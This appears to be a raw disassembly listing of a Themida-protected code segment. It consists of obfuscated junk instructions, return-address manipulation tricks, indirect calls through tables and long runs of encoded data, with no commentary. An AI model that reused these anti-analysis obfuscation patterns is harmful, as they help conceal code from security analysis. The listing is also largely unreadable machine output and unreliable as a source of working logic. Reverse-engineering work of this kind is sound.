		dd 815126B2h, 88FE06C2h, 37048F50h, 0B840Fh, 0F600000h
		dd 8A0FD6B7h, 0
; ---------------------------------------------------------------------------
		popa
		jo	loc_5F346C
		or	bx, 9FEAh


loc_5F346C:				; CODE XREF: Themida_:005F3461j
		sub	esi, 2
		mov	bl, 44h
		dec	esi
		dec	esi
		mov	edx, esi
		cmp	esi, 0FFFF93D4h
		jnz	loc_5F3498
		movsx	eax, ax
		jmp	loc_5F34B4
; ---------------------------------------------------------------------------
		db 6Ch,	0Fh, 58h
		dd 0C8CD013Dh, 55B9FCD4h, 0F7AA0652h
; ---------------------------------------------------------------------------


loc_5F3498:				; CODE XREF: Themida_:005F347Bj
		push	edx
		mov	eax, edx
		pop	eax
		jmp	near ptr dword_5F337C+0A3h
; ---------------------------------------------------------------------------
		mov	ah, 0D6h
		db	64h
		scas	byte ptr es:[edi]
		sti


loc_5F34A7:				; CODE XREF: Themida_:005F34ACj
		cmp	[ecx+3], ebx
		shl	dl, cl
		jnz	short loc_5F34A7
		aad	23h
		cli
		sbb	dword ptr [edx], 49h


loc_5F34B4:				; CODE XREF: Themida_:005F3484j
		jmp	short loc_5F34CC
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 1010000h
; ---------------------------------------------------------------------------


loc_5F34CC:				; CODE XREF: Themida_:loc_5F34B4j
		mov	ah, 3
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		sbb	eax, [esi]
		mov	ebx, [ebp+6141E95h]
		push	eax
		jmp	loc_5F34E5
; ---------------------------------------------------------------------------
		add	esp, esp
		or	eax, 6C16F223h


loc_5F34E5:				; CODE XREF: Themida_:005F34D9j
		mov	[esp], eax
		mov	edi, edx
		push	0
		sbb	di, 6C8Ch
		push	0
		push	0
		push	ecx
		call	sub_5F34FE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F34FE	proc near		; CODE XREF: Themida_:005F34F6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5F34FE	endp

; ---------------------------------------------------------------------------
		dw 1B62h
; ---------------------------------------------------------------------------
		stosb
		retf	9DF6h
; ---------------------------------------------------------------------------
		and	al, 17h
		lea	eax, [ebp+61B59D1h]
		xor	bl, 17h
		push	eax
		mov	bl, 4Ah
		mov	[esp], eax
		or	ecx, 37722858h
		push	0
		adc	edx, 7549C0CFh
		push	0
		mov	dx, 1ECCh
		call	dword ptr [ebp+6141B19h]
		mov	ebx, [ebp+61400D1h]
		jmp	loc_5F3A17
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5F3555
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F3555	proc near		; CODE XREF: Themida_:005F354Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5F3555	endp

; ---------------------------------------------------------------------------
		db 0BFh, 0D1h, 28h
		dd 8B80B0EAh, 0E8CFh, 815D0000h, 1B59D6EDh, 50006A06h
					; CODE XREF: Themida_:loc_5F39C4j
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0FE9F7h, 66B60000h, 222E5AE9h, 6022CD03h, 60B578ABh
		dd 18BB66C4h, 5820FA0h,	0B9000000h, 7B9AFAD7h, 7363A768h
		dd 8142B106h, 6C072434h, 8B600673h, 1413098Dh, 0F1858B06h
		dd 6106141Ch, 297195FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 9CA831C3h, 8DA64D56h
		dd 1B591AB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D8B6F3Ah, 6141B01h, 655206C7h, 8D8B6D67h
		dd 6141269h, 1FF58D01h,	46C70614h, 636E6F04h, 51BD296Ch
		dd 0C7061410h, 73610846h, 958B0073h, 6141609h, 188E0Fh
		dd 0E8600000h, 0Ah, 0B8125759h,	0D52C608Dh, 895E86B8h
		dd 1434918Dh, 6A6106h, 1A858DF8h, 6A061B59h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 26D2C356h, 0C3E38FE6h, 0BD29D32Ah, 6140191h,	4676D281h
		dd 575036DCh, 24048959h, 12899D33h, 95FF0614h, 6140411h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 62C35747h
		dd 20EE422Fh, 3ABF66DCh, 0FC00B54h, 2D84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD8BC203h, 61416BDh, 2C2E9h, 4963BB00h, 4E81C52h, 2C000000h
		dd 8A000001h, 0FB8B50DEh, 424448Bh, 7E8008Bh, 4E000000h
		dd 79A5F166h, 506023F4h, 5A310F52h, 895F6158h, 0E8042444h
		dd 0Eh,	5711D1A6h, 810AB51Ah, 32E9CEAEh, 0AEB2047Eh, 6A5859h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C53CD2C3h, 719D8912h, 0FF06140Ah, 14297195h, 0F98B6606h
		dd 591AB58Dh, 0BF0F061Bh, 3106C7D1h, 66363438h,	86F6D281h
		dd 370446C7h, 6A31342Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0C755C353h,	846h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0F56BC2C3h, 858941D9h, 6142B21h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FC2843C3h
		dd 66537C8Dh, 5904EFB9h, 26DBD89h, 858D0614h, 61B591Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3DC35646h
		dd 0DE8B2B7h, 0A5000000h, 388B5B1Ah, 6DB872BAh,	0D042B154h
		dd 5FCF8B66h, 0CE8B6690h, 2880F50h, 8B000000h, 0CE890CFh
		dd 2E000000h, 0CE700995h, 0E335F5Bh, 0E9FCDA4Eh, 5, 78727A29h
		dd 95FF5A92h, 6140411h,	2BD9D8Bh, 0C00B0614h, 10840Fh
		dd 0B5890000h, 6141339h, 136E9h, 14C8BF00h, 5868473Fh
		dd 0E9A0243Fh, 0Dh, 22F0EB41h, 5E04C365h, 59A6C17Ah, 24048162h
		dd 5FDBC1D4h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	40C35343h, 89ADBA15h, 1400718Dh, 7195FF06h, 0B9061429h
		dd 68BC8EC3h, 591AB58Dh, 0BD8B061Bh, 61402EDh, 6FDB8166h
		dd 4606C772h, 0C7656C69h, 6F6D0446h, 0D181636Eh, 8842142h
		dd 6C0846C7h, 81737361h, 80DFE4C2h, 0C46C73Fh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+614014Dh],	edx
		push	0
		sub	[ebp+6141C41h],	edi
		mov	edx, 708A81CFh
		lea	eax, [ebp+61B591Ah]
		mov	[ebp+6140B71h],	ebx
		nop
		mov	dh, 9Bh
		push	eax
		nop
		movsx	ebx, dx
		call	dword ptr [ebp+6140411h]
		mov	dx, 6BA5h
		add	bl, 94h
		or	eax, eax
		jz	loc_5F39C4
		push	0
		push	esi
		call	sub_5F396B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F396B	proc near		; CODE XREF: Themida_:005F3963p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5F396B	endp

; ---------------------------------------------------------------------------
		div	byte ptr ds:0D8D54C4Ch
		sar	byte ptr [ecx-3548F0ADh], cl
		movzx	ecx, dx
		jmp	loc_5F39CF
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5F399A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F399A	proc near		; CODE XREF: Themida_:005F3992p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5F399A	endp

; ---------------------------------------------------------------------------
		dw 0FF7Ch
		dd 0F78CB5ACh, 0FE9h, 0C6429700h, 4E378950h, 8A0632C1h
		dd 35B9243h
; ---------------------------------------------------------------------------


loc_5F39C4:				; CODE XREF: Themida_:005F395Aj
		jmp	near ptr dword_5F3568+5
; ---------------------------------------------------------------------------
		mov	[ebp+614169Dh],	esi


loc_5F39CF:				; CODE XREF: Themida_:005F398Aj
		lea	esi, [ebp+61472AFh]
		mov	ecx, edx
		mov	eax, 0
		jmp	esi
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5F39E9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F39E9	proc near		; CODE XREF: Themida_:005F39E1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5F39E9	endp

; ---------------------------------------------------------------------------
		db 0E8h, 1Eh, 1Fh
		dd 46C478A4h, 0DE8C3h, 0DE9B0000h, 5E847995h, 31F0B0FAh
		dd 0F66E7F5h
		db 0BFh, 0C8h, 5Fh
; ---------------------------------------------------------------------------


loc_5F3A17:				; CODE XREF: Themida_:005F3545j
		mov	eax, ecx
		lea	ecx, [ebp+61B5F2Fh]
		mov	esi, 79C1C190h
		mov	[ebp+6142B69h],	ecx
		or	edi, [ebp+6140D35h]
		mov	dword ptr [ebp+6141055h], 7268h
		push	edi
		mov	[ebp+6140261h],	esi
		pop	ebx
		jmp	loc_5F3A4C
; ---------------------------------------------------------------------------
		db 0FAh
		dd 9B593D2h
; ---------------------------------------------------------------------------


loc_5F3A4C:				; CODE XREF: Themida_:005F3A42j
		mov	dword ptr [ebp+614013Dh], 0
		push	0
		push	edx
		call	sub_5F3A61
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F3A61	proc near		; CODE XREF: Themida_:005F3A59p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5F3A61	endp

; ---------------------------------------------------------------------------
		db 8Ch,	23h, 63h
		dd 3640DC41h, 80B2DDDDh, 860FBBDAh, 6, 509958Bh, 8E0F0614h
		dd 6, 975BD89h,	0B5FF0614h, 6140E15h, 0BD995FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 89BF2C3h, 837C7798h,	95FF006Ah, 6142971h, 5FEBC08Bh
		dd 413013B5h, 0BA7177F3h, 1EFBD541h, 0D21C0508h, 7166CED5h
		dd 0F5D3BAFBh, 0E9C431B1h, 245D9E98h, 471BC5D7h, 6DD9893Ah
		dd 720457ABh, 9C82F492h, 2E43030h, 0E843A85Eh, 0BCDC2A6h
		dd 0B4234F35h, 7DFCF83Ah, 2AA59876h, 23274E45h,	91B20CCCh
		dd 40CAC4FCh, 0DAFF7A54h, 9FBAAF13h, 0FEDDBBB1h, 0E9E1FCAh
		dd 4A169CA8h, 0E9F5A8Ah, 0EAD5ABA8h, 0E9F3275h,	4A179AA8h
		dd 0AE5DBA8Ah, 4A147757h, 0E9C228Ah, 0EAD5ABA8h, 0E9CF575h
		dd 4A14A5A8h, 0E9D778Ah, 4A1527A8h, 0E9DE98Ah, 0EAD5ABA8h
		dd 0D42F2575h, 13313416h, 0E37C003h, 90A752B3h,	57B924A6h
		dd 4AB3D121h, 0D42F4391h, 1331352Bh, 0E3FC003h,	90A752B3h
		dd 57B92451h, 4A8FD121h, 0D42F4391h, 1331369Ah,	0E0BC003h
		dd 90A752B3h, 57B9270Dh, 4A9BD121h, 0D42F4391h,	13313663h
		dd 0E17C003h, 90A752B3h, 57B9269Eh, 4A97D121h, 0D42F4391h
		dd 133137FDh, 0E63C003h, 90A752B3h, 57B9261Ch, 4AEFD121h
		dd 0D42F4391h, 1331377Fh, 0E6BC003h, 90A752B3h,	57B9219Ah
		dd 4AE7D121h, 0B8C34391h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 6DC0D5F2h, 96A45EEAh, 152AA8EDh, 2429458Ah
		dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh,	0EAD5BA41h
		dd 0AE63CE75h, 13FAD3Ah, 5342848Ch, 0EA2211ABh,	245D55FFh
		dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h
		dd 0BFEA6603h, 0DB2FEE27h, 13313CE9h, 1129475h,	54A0D902h
		dd 0AEA45EE2h, 51A1EC79h, 0DC0941AEh, 0E421522h, 3773BA8Ch
		dd 732ADF10h, 1028C821h, 0EA2C4FC0h, 152BFD5Bh,	9881508Ch
		dd 4ACA0400h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 2DC0D5F2h
		dd 0DAA45EEBh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0DC30BACCh
		dd 9E2C40B8h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 54A0D9F9h
		dd 0AEA45EE2h, 949A0D79h, 551A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h
		dd 0BA2458Ah, 74A5BE29h, 24294391h, 1957DFA0h, 515E004Dh
		dd 532A54A8h, 412FD775h, 0CDA152BCh, 0FC69CE19h, 0A5B9979Bh
		dd 0FA31EFE2h, 54A0D9F9h, 0AEA45EE2h, 949A0D79h, 651A2320h
		dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah
		dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h
		dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh,	51A24586h
		dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h
		dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h,	96AE3801h
		dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h
		dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h,	0D453B28Ah
		dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh,	19577F03h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h
		dd 0DC088600h, 0E421522h, 0E173BA8Ch, 9FA7FEF8h, 57B92DCBh
		dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h,	402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah
		dd 152A54AFh, 445BD775h, 452652BCh, 1028C820h, 0EA2C4FC0h
		dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch
		dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h,	57B65507h
		dd 17868C23h, 0DB2FEF49h, 13313CE9h, 0E9C49475h, 0BE4CBD28h
		dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah
		dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h,	0EA80F8A8h
		dd 45B2C818h, 0B9E2DFAEh, 0DC088558h, 0E421532h, 3771BA8Ch
		dd 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh
		dd 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh
		dd 0BF8654A8h, 412FD775h, 0DDA152BCh, 0FB637726h, 7D6BCE25h
		dd 825D4391h, 0E4AAECCEh, 9028EEECh, 19577F02h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 732A54A8h, 376B7732h, 54B0D903h, 0AEA45EE2h
		dd 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h
		dd 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh,	0ADE78286h
		dd 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57B92DCBh,	0A09A8757h
		dd 0FB0E0320h, 7D6BCE25h, 825D4391h, 0D8ACECCEh, 2C89EEECh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 75C0D5F2h, 96A45EEEh, 152AA8EDh, 2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 4ABFCE25h, 0DCF14391h, 0E4A3832h,	0D871BA8Ch
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0F438C882h, 462C4FF7h
		dd 31CEDF07h, 0C6D552B3h, 0B85E0003h, 152A5492h, 0AEAE3075h
		dd 8FA75CDDh, 57B91A3Bh, 79B0D9FBh, 0AEA45EEAh,	0E96FDD7Bh
		dd 51A25863h, 195FABA8h, 0DCAA3075h, 0E75E932h,	0CB2F168Ch
		dd 133134C4h, 142B9675h, 152ABD54h, 0DAC3458Ah,	0D7E3A8EDh
		dd 44BA4582h, 0E9000030h, 0B8h,	0C0443757h, 0B3772627h
		dd 989C1934h, 868A010Fh, 73B7EA19h, 4F7EC4E8h, 3451CE52h
		dd 1E2AB579h, 0FE009F63h, 93EE8B8Fh, 0EBF72712h, 0AD17BC55h
		dd 0F8256967h, 53F09249h, 2A2246CAh, 0FB165556h, 0A9A774BEh
		dd 0E5D2EF2h, 13778702h, 92A89401h, 0B15453F0h,	0D532CB0h
		dd 82D89177h, 949E5679h, 70810019h, 0F280C653h,	0D9753B5h
		dd 1D000000h, 0AC9F188Bh, 2753F092h, 0C3D1D123h, 4346767h
		dd 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh,	0C3FBB6D5h
		dd 0E7178EBCh, 18306D98h, 27574647h, 6530681Fh,	5E9061Bh
		dd 3FFFF91Bh, 8C0FE0BDh, 3B45D931h, 2F3E87D0h, 6E8h, 128A7F00h
		dd 0B57B110Dh, 0A8B25BBDh, 5DEAC381h, 0BA660000h, 0BECACAh
		dd 0FF000000h, 0DBB21E34h, 9E95Fh, 0F9800000h, 436BF0AAh
		dd 81FCDCBDh, 4A266FC7h, 0DE856h, 3E340000h, 1B2157BEh
		dd 7B62B963h, 0F4A094Fh, 8159C7B7h, 3CDFF9C7h, 7E95Fh
		dd 0D95C0000h, 1FF2827Ah, 2FF78128h, 60545EABh,	0FFEE880h
		dd 28Dh, 61616000h, 8B333C89h, 0D99EB9CFh, 0EE83756Eh
		dd 37BA6604h, 0B4FE8175h, 0FFFFFA2h, 0FFFF8E85h, 850F60FFh
		dd 3, 0FBCDB80h, 584h, 3823B800h, 556164C8h, 5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 8D2CFD49h, 0A082FD25h, 0B7C3FD25h
		dd 3D21FD25h, 0F813FD25h, 1A09FD25h, 6BD6FD25h,	0D3B7FD25h
		dd 8FA2FD25h, 0A0E9FD25h, 0B7A6FD25h, 3F1BFD25h, 0F964FD25h
		dd 1B45FD25h, 6A26FD25h
		dd 0D1E2FD25h, 8D36FD25h, 259DFD25h, 2295358Ah,	4A76D6A2h
		dd 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h,	0CB74FD79h
		dd 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah
		dd 3E76FD7Ah, 6D75A3D5h, 0CB75A3D5h, 0E475FD7Ah, 0F374FC7Bh
		dd 9074FC7Bh, 0BC75F8B2h, 0F9F0701Ah, 0A673E610h, 8C1323FFh
		dd 76F0707Ch, 6C73E610h, 0E91363FFh, 82F0707Ch,	3573E610h
		dd 451327FFh, 74F0707Ch, 1E73E610h, 0D0135FFFh,	0FFF0707Ch
		dd 7B73E610h, 62135BFFh, 4F0707Ch, 0D773E612h, 341357FFh
		dd 5DF0707Ch, 4273E612h, 0FE1353FFh, 12F0707Ch,	0F073E612h
		dd 0A7134FFFh, 65F0707Ch, 0A673E613h, 8C1343FFh, 0CCF0707Ch
		dd 6C73E613h, 0E9134BFFh, 5FF0707Ch, 3573E613h,	451347FFh
		dd 14F0707Ch, 1E73E613h, 0D01343FFh, 90F0707Ch,	7B73E613h
		dd 621333FFh, 28F0707Ch, 0D773E613h, 34132FFFh,	20F0707Ch
		dd 4273E613h, 0FE132BFFh, 0F2F0707Ch, 0F073E610h, 0A7133FFFh
		dd 69F0707Ch, 0A673E610h, 8C133BFFh, 19F0707Ch,	6C73E610h
		dd 0E91337FFh, 0F4F0767Ch, 3573E96Ah, 4512EAFFh, 0D6F0767Ch
		dd 1E73E96Fh, 0D012E6FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah
		dd 0D45E17FBh, 0D525FB61h, 0ADFDF53Fh, 916E9A6Ch, 0CFB73422h
		dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0F0987C27h, 0A073E612h
		dd 341360FFh, 0AC87D7Ch, 0CF73E61Ch, 0E4C5B409h, 0F9B54B75h
		dd 863589BAh, 0A712E6EFh, 96FEBD7Ch, 2F7A452Bh,	28AFD7Ah
		dd 0CD6E9A61h, 83EB48F7h, 0C6F8FB61h, 4B9D50FCh, 0CF75FD7Eh
		dd 5E76456Fh, 0BA8AFD7Ah, 916E9A61h, 0ADEB48F7h, 0D1F8FB61h
		dd 228A50FCh, 87BC1F23h, 0A71360F7h, 52DA07Ch, 0EC2CA320h
		dd 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F46E9A6Dh, 79D3ED1h
		dd 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 8C12EAEFh, 8DE9B7Ch
		dd 0E5779592h, 0F3360B7Ah, 866E8872h, 0A712EAEFh, 54C54D7Ch
		dd 0BA8AAD79h, 916E9A6Dh, 2BF69B20h, 277E9B7Eh,	1AB6561Ch
		dd 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h
		dd 7F5DF70h, 83FE4DBAh,	9D3ED1h, 2A75FD7Bh, 0BC77E192h
		dd 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h,	0ED74BE8Ch
		dd 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h,	0A56889A0h
		dd 94913D59h, 7F5DF70h,	0B5FF4DBAh, 95626885h, 1F2FFB61h
		dd 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah
		dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
		dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch,	1A75FD7Bh
		dd 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h
		dd 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h
		dd 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah,	0E2CD3ED0h
		dd 0D75FD7Ah, 6212E6EFh, 5EC0707Ch, 5D73E61Ch, 2C7F518Ah
		dd 80E002D0h, 873E61Dh,	0E574E592h, 0F8254D7Ah,	4B9D5779h
		dd 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h,	61274DD0h
		dd 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh,	0EEDFA7CAh
		dd 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah,	1AF63F51h
		dd 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h
		dd 0D01369FFh, 71C87D7Ch, 0F373E61Ch, 0FCF8EC0Fh, 0BA6E9A7Ch
		dd 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h
		dd 0D8A00C3h, 87DF9CCAh, 0A71369F7h, 0CAC87D7Ch, 2F73E61Ch
		dd 12F8F10Fh, 0CD6E9A7Ch, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh
		dd 0DB6E6885h, 0C3F8FB61h, 296E9619h, 3D6DF9F0h, 619C4DB9h
		dd 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h
		dd 296E9A6Dh, 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h
		dd 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h
		dd 0D012EAEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h
		dd 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah
		dd 0F46E9A61h, 1F8F60F7h, 0A0F8FB61h, 4ECD3E39h, 0D075FD7Ah
		dd 8C12E6EFh, 0CEB57E7Ch, 1A8935F1h, 0E912EAEFh, 8E97577Ch
		dd 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch
		dd 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah
		dd 440617FBh, 0EAFCFB61h, 0DDCF7D86h, 0E573E61Dh, 0F2EC7975h
		dd 73CDFD7Ah, 4375FD7Ah, 4512E6E8h, 0ADFCBD7Ch,	916E9A65h
		dd 79F835F1h, 0E36E913Dh, 95626F85h, 7FFDFB61h,	4801F3Ch
		dd 5E75FD6Dh, 486A7F79h, 1A35FB61h, 0D019C6E0h,	0E1B67E7Ch
		dd 4B22FEF3h, 7975FD64h, 0DB6A7779h, 0ECF8FB61h, 296E9153h
		dd 2F2B5989h, 0CB75FD72h, 826E6F85h, 0AF6FB61h,	7185897Eh
		dd 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h
		dd 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h
		dd 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h
		dd 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh
		dd 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah
		dd 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0D019A790h, 0C6CF707Ch
		dd 7973E61Dh, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh
		dd 8C12DEE7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h
		dd 0BC9D9D96h, 475FD7Ah, 43E617FBh, 25F8FB61h, 0CD6E9A59h
		dd 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h, 395640F7h
		dd 0EF46FB61h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F46E9A59h
		dd 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh,	969E0479h
		dd 0ABB69C82h, 825640F7h, 0F3CDFB61h, 0C075FD7Ah, 0BC75FD72h
		dd 9D145789h, 0EFFE3DF1h, 0F04578F7h, 0D08AFB61h, 2AE9CA8Bh
		dd 0C7000000h, 2404h, 0E80000h,	5D000000h, 6D13ED81h, 448B061Bh
		dd 85890424h, 6140E49h,	0B8h, 0FF8D8D00h, 0FF06144Dh, 6754B8E1h
		dd 0CEB0000h, 18DC48D1h, 592DA9A8h, 0DB044E4Fh,	5F6E9h
		dd 5EAE900h, 19290000h,	405A266h, 0EF1A8589h, 0D3F16EB2h
		dd 0BCCB54D8h, 9ABE3DC1h, 9C601D2Ch, 8B8F0603h,	71B5F01Ch
		dd 55D9D4F6h, 0D564C138h, 6E55EBFFh, 6567E325h,	4D790636h
		dd 0BBC93A52h, 953AF391h, 6B20F2BCh, 9ABDC5Eh, 6C9C80FBh
		dd 0ABB4C4E8h, 7AE9E19Ch, 1793AE0Fh, 2C1053F0h,	671A29E6h
		dd 83FA0857h, 2439F888h, 81B9F411h, 15D1305h, 4916969Ch
		dd 344B433Eh, 0FA629A13h, 0AB86FEBh, 95DA040Dh,	37E9B34Eh
		dd 23476200h, 0BB888F28h, 9FE349DBh, 0B8F5106Fh, 0A4971083h
		dd 3F55ECB0h, 6219D95Bh, 0B09BB6F7h, 341855ECh,	6B2621FEh
		dd 0DA95D253h, 11FEB4B4h, 0C5C0CBFAh, 0D4A04141h, 0B70306A7h
		dd 0F7706D38h, 8FBFA3DAh, 55D9D4F0h, 0CBC3BECAh, 0C1377A6Ah
		dd 155467D8h, 0E976BCF7h, 0B7474382h, 3EC2E695h, 0BAD1A746h
